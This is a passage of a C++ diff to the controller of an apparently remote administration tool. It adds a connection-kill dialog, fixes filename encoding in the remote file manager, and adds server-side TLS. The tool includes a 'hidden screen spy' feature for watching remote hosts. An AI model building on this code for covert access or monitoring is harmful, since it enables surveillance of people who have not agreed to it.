GetCursorPos(&Point);
SubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, Point.x, Point.y, this);
*pResult = 0;
}
void CConnectionsDlg::OnConnectionKill()
{
if (m_nRClickItem < 0) return;
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
if (!data || data->info.proto != 1 || data->info.af != AF_INET) return;
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + sizeof(ConnectionInfo));
if (szBuffer == NULL) return;
szBuffer[0] = COMMAND_KILL_CONNECTION;
memcpy(szBuffer + 1, &data->info, sizeof(ConnectionInfo));
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
void CConnectionsDlg::OnConnectionRefresh()
{
BYTE bToken = COMMAND_CONNECTION;
m_ContextObject->Send2Client(&bToken, 1);
}
void CConnectionsDlg::OnReceiveComplete(void)
{
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_CONNECTION_LIST:
ShowConnectionList();
break;
default:
break;
}
}
void CConnectionsDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
if (!m_ControlList.GetSafeHwnd()) return;
CRect rc;
m_ControlList.GetWindowRect(&rc);
ScreenToClient(&rc);
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
}
int CALLBACK CConnectionsDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
{
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
int nColumn = pSortInfo->first;
bool bAscending = pSortInfo->second;
auto* context1 = (ConnItemData*)lParam1;
auto* context2 = (ConnItemData*)lParam2;
CString s1 = context1->GetKey(nColumn);
CString s2 = context2->GetKey(nColumn);
int result = s1.Compare(s2);
return bAscending ? result : -result;
}
void CConnectionsDlg::SortByColumn(int nColumn)
{
if (nColumn == m_nSortColumn) {
m_bSortAscending = !m_bSortAscending;
} else {
m_nSortColumn = nColumn;
m_bSortAscending = true;
}
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
}
void CConnectionsDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
SortByColumn(pNMHeader->iItem);
*pResult = 0;
}
+43
View File
@@ -0,0 +1,43 @@
#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
#include "afxwin.h"
// CConnectionsDlg 对话框:展示受管主机当前 TCP/UDP 连接,右键可强制断开 IPv4 TCP 连接。
class CConnectionsDlg : public DialogBase
{
DECLARE_DYNAMIC(CConnectionsDlg)
public:
CConnectionsDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
virtual ~CConnectionsDlg();
int ShowConnectionList(void);
void OnReceiveComplete(void);
enum { IDD = IDD_DIALOG_CONNECTIONS };
protected:
virtual void DoDataExchange(CDataExchange* pDX);
DECLARE_MESSAGE_MAP()
public:
CListCtrl m_ControlList;
virtual BOOL OnInitDialog();
void DeleteAllItems();
void SortByColumn(int nColumn);
afx_msg void OnClose();
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnConnectionKill();
afx_msg void OnConnectionRefresh();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnHdnItemclickList(NMHDR *pNMHDR, LRESULT *pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
CStatic m_Count;
int m_nRClickItem;
int m_nSortColumn;
bool m_bSortAscending;
};
+2 -1
View File
@@ -89,8 +89,9 @@ typedef struct FeatureFlags {
#define MF_REQUEST_AUTH (1ULL << 42) // HIDE_MENU_REQUEST_AUTH #define MF_REQUEST_AUTH (1ULL << 42) // HIDE_MENU_REQUEST_AUTH
#define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS #define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
#define MF_TLS_CERTIFICATE (1ULL << 44) // HIDE_MENU_TLS_CERTIFICATE
// [44-63] Reserved // [45-63] Reserved
// ============================================================ // ============================================================
+33 -4
View File
@@ -223,6 +223,27 @@ int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
return index; return index;
} }
// 远程文件名/路径编码按 clientType 判定:Windows 走 A 接口(FindFirstFileA)=GBK/936,
// LNX/MAC 文件系统天然 UTF-8(同 McpServer.cpp::BuildListFiles)。这里用 LVM_SETITEMTEXTW
// 直接写宽字符串,绕开 ANSI→CP_ACP 回转,即使服务端运行在非中文 ACP 上中文名也能正常显示。
static void SetFileTextItem(CListCtrl& list, int iItem, int iSubItem, const char* sz, UINT cp)
{
std::wstring w;
if (sz && sz[0]) {
int wlen = MultiByteToWideChar(cp, 0, sz, -1, NULL, 0);
if (wlen > 1) {
w.resize(wlen - 1);
MultiByteToWideChar(cp, 0, sz, -1, &w[0], wlen);
}
}
LVITEMW lv = {};
lv.mask = LVIF_TEXT;
lv.iItem = iItem;
lv.iSubItem = iSubItem;
lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
}
BOOL CFileManagerDlg::OnInitDialog() BOOL CFileManagerDlg::OnInitDialog()
{ {
__super::OnInitDialog(); __super::OnInitDialog();
@@ -1104,6 +1125,9 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
{ {
CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
// 重新设置ImageList // 重新设置ImageList
SHFILEINFO sfi = {}; SHFILEINFO sfi = {};
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON); HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
@@ -1151,7 +1175,8 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
pszFileName = ++pList; pszFileName = ++pList;
if (bIsInsert) { if (bIsInsert) {
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType)); nItem = m_list_remote.InsertItem(nItemIndex++, "", GetIconIndex(pszFileName, nType));
SetFileTextItem(m_list_remote, nItem, 0, pszFileName, cp);
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
SHFILEINFO sfi = {}; SHFILEINFO sfi = {};
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
@@ -1184,6 +1209,9 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLen) void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLen)
{ {
CString clientType = m_ContextObject->GetAdditionalData(RES_CLIENT_TYPE);
UINT cp = (clientType == _T("LNX") || clientType == _T("MAC")) ? CP_UTF8 : 936;
// 第一批结果到达时,初始化搜索列表 // 第一批结果到达时,初始化搜索列表
if (!m_bSearching) { if (!m_bSearching) {
m_bSearching = true; m_bSearching = true;
@@ -1241,7 +1269,8 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLe
} }
} }
int nItem = m_list_remote.InsertItem(m_nSearchResultCount, csFileName, nIcon); int nItem = m_list_remote.InsertItem(m_nSearchResultCount, "", nIcon);
SetFileTextItem(m_list_remote, nItem, 0, csFileName, cp);
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
pList += lstrlen(pszFullPath) + 1; pList += lstrlen(pszFullPath) + 1;
@@ -1261,7 +1290,7 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLe
m_list_remote.SetItemText(nItem, 2, time.FormatL("%Y-%m-%d %H:%M")); m_list_remote.SetItemText(nItem, 2, time.FormatL("%Y-%m-%d %H:%M"));
// 路径 // 路径
m_list_remote.SetItemText(nItem, 3, csDir); SetFileTextItem(m_list_remote, nItem, 3, csDir, cp);
pList += 16; pList += 16;
m_nSearchResultCount++; m_nSearchResultCount++;
@@ -3329,7 +3358,7 @@ void CFileManagerDlg::OnTransferV2ToRemote()
g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir); g_2015RemoteDlg->SendFilesToClientV2(mainCtx, files, remoteDir);
ShowMessage(_TRF("V2传输已启动,共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str()); ShowMessage(_TRF("V2传输已启动,共 %d 个文件 -> %s"), (int)files.size(), remoteDir.c_str());
} else { } else {
ShowMessage(_TRF("找不到主连接: clientID=%llu"), clientID); ShowMessage(_TRF("找不到主连接: clientID %llu"), clientID);
} }
} }
} }
+1 -1
View File
@@ -268,7 +268,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog()
#ifdef _DEBUG #ifdef _DEBUG
// ShowWindow(SW_MINIMIZE); // ShowWindow(SW_MINIMIZE);
#endif #endif
m_strTip = CString("请等待......"); m_strTip = _TR("请等待......");
return TRUE; // return TRUE unless you set the focus to a control return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE // EXCEPTION: OCX Property Pages should return FALSE
} }
+2 -1
View File
@@ -69,8 +69,9 @@ Json::Value BuildHostJson(context* ctx, _ClientList* clientMap) {
CString os = ctx->GetClientData(ONLINELIST_OS); CString os = ctx->GetClientData(ONLINELIST_OS);
device["os"] = AnsiToUtf8(os); device["os"] = AnsiToUtf8(os);
// 地理位置已统一按 UTF-8 存储(见 AddList),直接透传,不再 CP_ACP→UTF-8 二次转换。
CString location = ctx->GetClientData(ONLINELIST_LOCATION); CString location = ctx->GetClientData(ONLINELIST_LOCATION);
device["location"] = AnsiToUtf8(location); device["location"] = std::string(location.GetString());
CString rtt = ctx->GetClientData(ONLINELIST_PING); CString rtt = ctx->GetClientData(ONLINELIST_PING);
device["rtt"] = AnsiToUtf8(rtt); device["rtt"] = AnsiToUtf8(rtt);
+1 -1
View File
@@ -124,7 +124,7 @@ void IOCPKCPServer::WorkerThread()
} }
if (n > 0&& m_notify) { if (n > 0&& m_notify) {
memcpy(ctx->szBuffer, recvbuf, n); memcpy(ctx->szBuffer, recvbuf, n);
BOOL ret = ParseReceivedData(ctx, n, m_notify); BOOL ret = ParseReceivedData(ctx, (PBYTE)ctx->szBuffer, n, m_notify);
} }
} while (n>0); } while (n>0);
} }
+221 -19
View File
@@ -3,6 +3,7 @@
#include "2015Remote.h" #include "2015Remote.h"
#include "common/IPWhitelist.h" #include "common/IPWhitelist.h"
#include "common/IPBlacklist.h" #include "common/IPBlacklist.h"
#include "ServerTlsSession.h"
#include <iostream> #include <iostream>
#include <ws2tcpip.h> #include <ws2tcpip.h>
@@ -483,6 +484,11 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
m_nPort = uPort; m_nPort = uPort;
m_NotifyProc = NotifyProc; m_NotifyProc = NotifyProc;
m_OfflineProc = OffProc; m_OfflineProc = OffProc;
// 单向 TLS:启动时加载服务端身份(证书+私钥)。加载失败时 IsLoadError()==true,
// 明文客户端不受影响,TLS ClientHello 会被识别并 fail-closed 关闭(见设计文档 §5.2)。
ServerTlsIdentity::Load(THIS_CFG);
// manual-reset:本进程内可能有多个等待者(ListenThread / RttPollThreadProc)。 // manual-reset:本进程内可能有多个等待者(ListenThread / RttPollThreadProc)。
// 自动重置会让 SetEvent 只唤醒一个等待者,另一个要等自身 timeout(≤1s)。 // 自动重置会让 SetEvent 只唤醒一个等待者,另一个要等自身 timeout(≤1s)。
// 改 manual-reset 后所有等待者一次性醒来;本工程从无 ResetEvent 调用,无副作用。 // 改 manual-reset 后所有等待者一次性醒来;本工程从无 ResetEvent 调用,无副作用。
@@ -793,16 +799,16 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
} }
// May be this function should be a member of `CONTEXT_OBJECT`. // May be this function should be a member of `CONTEXT_OBJECT`.
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx, z_stream* z) BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, PBYTE data, DWORD dataLen, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx, z_stream* z)
{ {
AUTO_TICK(50, ContextObject->GetPeerName()); AUTO_TICK(50, ContextObject->GetPeerName());
BOOL ret = 1; BOOL ret = 1;
try { try {
if (dwTrans == 0) { //对方关闭了套接字 if (dataLen == 0) { //对方关闭了套接字
return FALSE; return FALSE;
} }
//将接收到的数据拷贝到我们自己的内存中wsabuff 8192 //将接收到的数据拷贝到我们自己的内存中wsabuff 8192
ContextObject->InCompressedBuffer.WriteBuffer((PBYTE)ContextObject->szBuffer,dwTrans); ContextObject->InCompressedBuffer.WriteBuffer(data, dataLen);
//查看数据包的完整性 //查看数据包的完整性
while (true) { while (true) {
PR pr = ContextObject->Parse(ContextObject->InCompressedBuffer); PR pr = ContextObject->Parse(ContextObject->InCompressedBuffer);
@@ -889,18 +895,178 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
return ret; return ret;
} }
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z) // 握手线程参数:把嗅探阶段已收到的 ClientHello 字节与连接上下文一起移交。
struct TlsHandshakeParam {
IOCPServer* server;
CONTEXT_OBJECT* ctx;
std::vector<BYTE> initial; // 嗅探阶段已攒下的首批字节(≥6,可能只是 ClientHello 分片)
};
// 方案 A:专用阻塞握手线程。占线期间独占 socket(阻塞 recv/send,无未决 overlapped I/O),
// 完成后把连接交还给 IOCP(PostRecv)。线程持有 ctx 的一枚 IoRefCount,结束时释放。
DWORD WINAPI IOCPServer::TlsHandshakeThreadProc(LPVOID lParam)
{ {
if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc, ctx, z)) { TlsHandshakeParam* p = (TlsHandshakeParam*)lParam;
// 先减少引用计数,再调用 RemoveStaleContext (#215) IOCPServer* This = p->server;
// RemoveStaleContext 完成后对象会被移到空闲池,不能再访问 CONTEXT_OBJECT* ctx = p->ctx;
ContextObject->IoRefCount.fetch_sub(1); std::vector<BYTE> initial = std::move(p->initial);
RemoveStaleContext(ContextObject); delete p;
return -2; // 特殊返回值:告诉 HandleIO 不要再减少引用计数
// 若上下文已被移除(服务端关停竞态),直接释放引用退出。
if (ctx->IsRemoved.load(std::memory_order_acquire)) {
ctx->IoRefCount.fetch_sub(1);
return 0;
} }
PostRecv(ContextObject); //投递新的接收数据的请求 // 握手期间做同步 recv/send。注意:监听套接字经 WSAEventSelect 置为非阻塞后,accept 出的
// 子套接字继承非阻塞态,FIONBIO=0 不一定能切回阻塞;ServerTlsSession::Handshake 内部已用
// select 兜底 WSAEWOULDBLOCK,故这里仍设 FIONBIO=0 只是「尽量阻塞」的优化。
u_long nb = 0;
if (ioctlsocket(ctx->sClientSocket, FIONBIO, &nb) == SOCKET_ERROR)
Mprintf("[TLS] handshake: ioctlsocket(FIONBIO=0) failed err=%d\n", WSAGetLastError());
int tmo = 15000; // 15s 握手超时
setsockopt(ctx->sClientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&tmo, sizeof(tmo));
setsockopt(ctx->sClientSocket, SOL_SOCKET, SO_SNDTIMEO, (const char*)&tmo, sizeof(tmo));
bool ok = (ctx->tls != NULL) &&
ctx->tls->Handshake(ctx->sClientSocket, initial.data(), (int)initial.size());
if (ok) {
ctx->tlsState.store(TLS_Ready, std::memory_order_release);
}
// 先释放握手线程持有的引用,再触发任何可能 RemoveStaleContext 的动作(#215 顺序)。
ctx->IoRefCount.fetch_sub(1);
if (ok) {
This->PostRecv(ctx); // 交还 IOCP 接收
} else {
Mprintf("[TLS] handshake failed for %s (fail-closed)\n", ctx->GetPeerName().c_str());
This->RemoveStaleContext(ctx);
}
return 0;
}
// 判定为 TLS 后:创建会话、预支一枚 IoRefCount 给握手线程、启动握手线程。
BOOL IOCPServer::StartTlsHandshake(CONTEXT_OBJECT* ContextObject)
{
if (!ServerTlsIdentity::IsReady()) {
// 服务端身份不可用(未启用 TLS、或证书/私钥加载失败):fail-closed 关闭该连接。
Mprintf("[TLS] client %s sent ClientHello but server identity not ready "
"(TLS disabled or cert/key load failed); closing (fail-closed)\n",
ContextObject->GetPeerName().c_str());
return FALSE;
}
ContextObject->tls = new ServerTlsSession();
TlsHandshakeParam* p = new TlsHandshakeParam;
p->server = this;
p->ctx = ContextObject;
p->initial = std::move(ContextObject->tlsPreClassify);
ContextObject->tlsPreClassify.clear();
// 预支引用:握手线程结束时释放。此引用保证握手期间对象不被回收。
ContextObject->IoRefCount.fetch_add(1);
HANDLE h = CreateThread(NULL, 0, TlsHandshakeThreadProc, p, 0, NULL);
if (h == NULL) {
// 启动失败:回退预支引用,清理会话,按失败关闭。
ContextObject->IoRefCount.fetch_sub(1);
delete ContextObject->tls;
ContextObject->tls = NULL;
return FALSE;
}
CloseHandle(h);
return TRUE;
}
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z)
{
int st = ContextObject->tlsState.load(std::memory_order_acquire);
// ---- 未分类:按 ClientHello 头嗅探明文 / TLS(见设计文档 §5.2)----
if (st == TLS_Unclassified) {
if (dwTrans == 0) { // 首个包即对端关闭
ContextObject->IoRefCount.fetch_sub(1);
RemoveStaleContext(ContextObject);
return -2;
}
ContextObject->tlsPreClassify.insert(ContextObject->tlsPreClassify.end(),
(BYTE*)ContextObject->szBuffer,
(BYTE*)ContextObject->szBuffer + dwTrans);
if (ContextObject->tlsPreClassify.size() < 6) {
PostRecv(ContextObject); // 头还没攒够,继续收
return TRUE;
}
const BYTE* h = ContextObject->tlsPreClassify.data();
bool isTls = (h[0] == 0x16 && h[1] == 0x03 && h[5] == 0x01);
if (isTls) {
ContextObject->tlsState.store(TLS_Handshaking, std::memory_order_release);
if (!StartTlsHandshake(ContextObject)) {
Mprintf("[TLS] StartTlsHandshake failed for %s (fail-closed)\n",
ContextObject->GetPeerName().c_str());
ContextObject->IoRefCount.fetch_sub(1);
RemoveStaleContext(ContextObject);
return -2;
}
return TRUE; // 不 PostRecv;握手线程完成后交还接收
}
// 明文:把嗅探阶段攒下的字节回放给现有解析路径,然后清空缓冲。
ContextObject->tlsState.store(TLS_Plain, std::memory_order_release);
std::vector<BYTE> replay = std::move(ContextObject->tlsPreClassify);
ContextObject->tlsPreClassify.clear();
if (FALSE == ParseReceivedData(ContextObject, replay.data(), (DWORD)replay.size(), m_NotifyProc, ctx, z)) {
ContextObject->IoRefCount.fetch_sub(1);
RemoveStaleContext(ContextObject);
return -2;
}
PostRecv(ContextObject);
return TRUE;
}
// ---- 已分类 ----
if (st == TLS_Ready) {
if (dwTrans == 0) { // 明文 FIN:TLS 连接对端关闭
ContextObject->IoRefCount.fetch_sub(1);
RemoveStaleContext(ContextObject);
return -2;
}
std::vector<BYTE> plain;
if (ContextObject->tls->Decrypt((const BYTE*)ContextObject->szBuffer, dwTrans, plain) < 0) {
ContextObject->IoRefCount.fetch_sub(1);
RemoveStaleContext(ContextObject);
return -2;
}
if (plain.empty()) {
PostRecv(ContextObject); // 本轮无完整明文(TLS 记录分片/握手告警),继续收
return TRUE;
}
if (FALSE == ParseReceivedData(ContextObject, plain.data(), (DWORD)plain.size(), m_NotifyProc, ctx, z)) {
ContextObject->IoRefCount.fetch_sub(1);
RemoveStaleContext(ContextObject);
return -2;
}
PostRecv(ContextObject);
return TRUE;
}
// TLS_Handshaking:握手线程独占 socket,正常不应出现 IORead;若出现属异常,fail-closed。
if (st == TLS_Handshaking) {
Mprintf("[TLS] unexpected IORead during handshake for %s (closing)\n",
ContextObject->GetPeerName().c_str());
ContextObject->IoRefCount.fetch_sub(1);
RemoveStaleContext(ContextObject);
return -2;
}
// TLS_Plain:明文直通(原路径)。
if (FALSE == ParseReceivedData(ContextObject, (PBYTE)ContextObject->szBuffer, dwTrans, m_NotifyProc, ctx, z)) {
ContextObject->IoRefCount.fetch_sub(1);
RemoveStaleContext(ContextObject);
return -2;
}
PostRecv(ContextObject);
return TRUE; return TRUE;
} }
@@ -967,15 +1133,49 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
BOOL IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) BOOL IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
{ {
// TLS 下 OutCompressedBuffer 可能还残留上一轮尚未发完的密文(IOCP 线程异步 WSASend 中),
// 新明文由 WriteContextData 追加在尾部。若把整个缓冲区重新加密,会把旧密文二次加密,
// 客户端解密后得到的是「旧 TLS 记录」→ Unknown header 17 03 03。故只加密本次新追加的尾部。
bool tlsReady = (ContextObject->tlsState.load(std::memory_order_acquire) == TLS_Ready);
ULONG oldLen = tlsReady ? ContextObject->OutCompressedBuffer.GetBufferLength() : 0;
if (WriteContextData(ContextObject, szBuffer, ulOriginalLength, ContextObject->Zcctx)) { if (WriteContextData(ContextObject, szBuffer, ulOriginalLength, ContextObject->Zcctx)) {
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); // 单向 TLS:只加密新追加的明文尾部,产出密文后与前缀旧密文拼接,使缓冲区始终保持
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol); // 一串合法 TLS 记录;之后 IOWrite / OnClientPostSending 完全不变(见设计文档 §5.5)。
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) { //如果投递失败 if (tlsReady) {
int a = GetLastError(); ULONG totalLen = ContextObject->OutCompressedBuffer.GetBufferLength();
Mprintf("!!! OnClientPreSending 投递消息失败\n"); ULONG plainLen = totalLen - oldLen;
RemoveStaleContext(ContextObject); if (plainLen > 0) {
SAFE_DELETE(OverlappedPlus); std::vector<BYTE> wire;
return FALSE; if (ContextObject->tls->Encrypt((const BYTE*)ContextObject->OutCompressedBuffer.GetBuffer(oldLen),
(int)plainLen, wire) != (int)plainLen) {
Mprintf("[TLS] Encrypt failed for %s (fail-closed)\n",
ContextObject->GetPeerName().c_str());
return FALSE; // 加密失败:丢弃本次发送
}
// 截断尾部明文,再追加密文。用 TruncateBuffer 而非 ClearBuffer:ClearBuffer 会
// DeAllocateBuffer(可能 VirtualFree 正在被异步 WSASend 引用的底层内存)。
ContextObject->OutCompressedBuffer.TruncateBuffer(oldLen);
ContextObject->OutCompressedBuffer.WriteBuffer(wire.data(), (DWORD)wire.size());
}
}
// 仅当没有发送正在进行时才投递 IOWrite 唤醒发送。若已有 WSASend 在途,其完成回调
// (OnClientPostSending)会看到排空后仍残留的新数据并继续发送,无需再投递;否则会对
// 同一缓冲并发多个 WSASend,读到同一段可变内存,产出重复/错位密文(客户端 DecryptMessage
// 失败,表现为 recv -1、GetLastError=6001)。
if (!ContextObject->bSendPending) {
ContextObject->bSendPending = true;
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) { //如果投递失败
int a = GetLastError();
Mprintf("!!! OnClientPreSending 投递消息失败\n");
ContextObject->bSendPending = false;
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus);
return FALSE;
}
} }
return TRUE; return TRUE;
} }
@@ -990,6 +1190,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
ContextObject->OutCompressedBuffer.RemoveCompletedBuffer(ulCompletedLength); //将完成的数据从数据结构中去除 ContextObject->OutCompressedBuffer.RemoveCompletedBuffer(ulCompletedLength); //将完成的数据从数据结构中去除
if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0) { if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0) {
ContextObject->bSendPending = false; // 缓冲排空,允许下一次 OnClientPreSending 投递
ContextObject->OutCompressedBuffer.ClearBuffer(); ContextObject->OutCompressedBuffer.ClearBuffer();
return true; //走到这里说明我们的数据真正完全发送 return true; //走到这里说明我们的数据真正完全发送
} else { } else {
@@ -1001,6 +1202,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
NULL, ulFlags,&OverlappedPlus->m_ol, NULL); NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) { if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) {
// 先减少引用计数,再调用 RemoveStaleContext (#215) // 先减少引用计数,再调用 RemoveStaleContext (#215)
ContextObject->bSendPending = false;
ContextObject->IoRefCount.fetch_sub(1); ContextObject->IoRefCount.fetch_sub(1);
if (RemoveStaleContext(ContextObject)) if (RemoveStaleContext(ContextObject))
Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", WSAGetLastError()); Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", WSAGetLastError());
+5 -1
View File
@@ -91,6 +91,7 @@ private:
static DWORD WINAPI ListenThreadProc(LPVOID lParam); static DWORD WINAPI ListenThreadProc(LPVOID lParam);
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
static DWORD WINAPI RttPollThreadProc(LPVOID lParam); static DWORD WINAPI RttPollThreadProc(LPVOID lParam);
static DWORD WINAPI TlsHandshakeThreadProc(LPVOID lParam);
BOOL InitializeIOCP(VOID); BOOL InitializeIOCP(VOID);
VOID OnAccept(); VOID OnAccept();
@@ -101,6 +102,7 @@ private:
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream *z); BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream *z);
BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z); BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx, z_stream* z);
BOOL StartTlsHandshake(CONTEXT_OBJECT* ContextObject);
BOOL OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength); BOOL OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength); BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
int AddWorkThread(int n) int AddWorkThread(int n)
@@ -257,6 +259,8 @@ public:
typedef CDialogBase DialogBase; typedef CDialogBase DialogBase;
BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL, z_stream* z=NULL); // 解析一段已解密/直通的接收字节。data/dataLen 为数据源(TLS 连接传解密后的明文,
// 明文连接传 szBuffer 原始字节);dataLen==0 视为对端关闭。
BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, PBYTE data, DWORD dataLen, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL, z_stream* z=NULL);
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL, z_stream* z = NULL); BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL, z_stream* z = NULL);
+1 -1
View File
@@ -107,7 +107,7 @@ void IOCPUDPServer::WorkerThread()
